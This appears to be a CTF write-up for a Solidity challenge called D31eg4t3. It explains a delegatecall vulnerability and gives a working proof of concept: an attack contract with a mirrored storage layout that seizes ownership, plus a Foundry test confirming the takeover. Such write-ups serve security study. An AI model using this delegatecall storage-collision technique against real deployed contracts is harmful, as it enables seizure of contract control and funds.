Challenge **D31eg4t3**

Description of the vulnerability:

->In the hackMe function anyone can send another function signature implemented in the attack contract, which potentially changes the owner address and owner address to true.

Delegatecall : it works as on behalf of the caller function the execution/logic executed on another contract which potentially changes the state of the caller contract. State variables should be the same and same order in both contracts to execute by using delegate call.

NOTE: if a contract uses delegate call to call function in another unknow contract which can potentially change the state variables of the caller contract.

Attack steps:

1. AttackHackMe () //which is attack contract function

2.hackMe ()

3.attack () //which is attack contract function

Proof of concept:

Challenge_5_attack.sol

```
//SPDX-License-Identifier:UNLICENSED

pragma solidity 0.8.7;


/**
 * @title attack contract for challenge 5
 * @author Purple_Calender
 * @custom:experimental this is an experimental contract
 */
contract Attack {
    uint a = 12345;
    uint8 b = 32;
```

```
    string private d; // Super Secret data.
    uint32 private c; // Super Secret data.
    string private mot; // Super Secret data.
    address public owner;
    mapping(address => bool) public canYouHackMe;
    address public attackAddr;
    constructor(address addr) {
        attackAddr = addr;
    }
    ///Funtion to call the hackMe function
    function attackHackMe() external returns (bool) {
        (bool success, ) = attackAddr.call(
            abi.encodeWithSignature(
                "hackMe(bytes)",
                abi.encodeWithSignature("attack()")
            )
        );
        require(success, "Hack me failed");
        return success;
    }
    ///function to attack
    function attack() external {
        owner = 0xdD870fA1b7C4700F2BD7f44238821C26f7392148;
        canYouHackMe[0xdD870fA1b7C4700F2BD7f44238821C26f7392148] = true;
    }
}
```

Challenge5.t.sol:

```
//SPDX-License-Identifier:UNLICENSED
pragma solidity 0.8.7;
import "forge-std/Test.sol";
import "forge-std/Vm.sol";
import "src/quillCTF/challenge_5.sol";
import "src/quillCTF/challenge_5_Attack.sol";

/**
 * @title Testing contract for challenge_5_Attack.sol
 * @author Purple_Calender
 * @custom:experimental this is an experimental Testing contract
 */

contract Challenge5Test is Test {
    D31eg4t3 challenge;
    Attack challengeAttack;
    address cOwner;
    /**
     * @dev creating the instances of both contracts
     * @dev cOwner is the deployer of the challenge_5 contract
     */
    constructor() {
        cOwner = vm.addr(1);
        challenge = new D31eg4t3();
        challengeAttack = new Attack(address(challenge));
```

```
    }

    /**
     * @dev calling attackHackMe() which calls attack contract
     * @dev potentially changes the owner and added mapping bool to true
     */
    function test_attackHackMe() external {
        bool check = challengeAttack.attackHackMe();
        assertEq(check, true);
        assertEq(0xdD870fA1b7C4700F2BD7f44238821C26f7392148, challenge.owner());
        assertEq(
            challenge.canYouHackMe(0xdD870fA1b7C4700F2BD7f44238821C26f7392148),
            true
        );
    }
}
```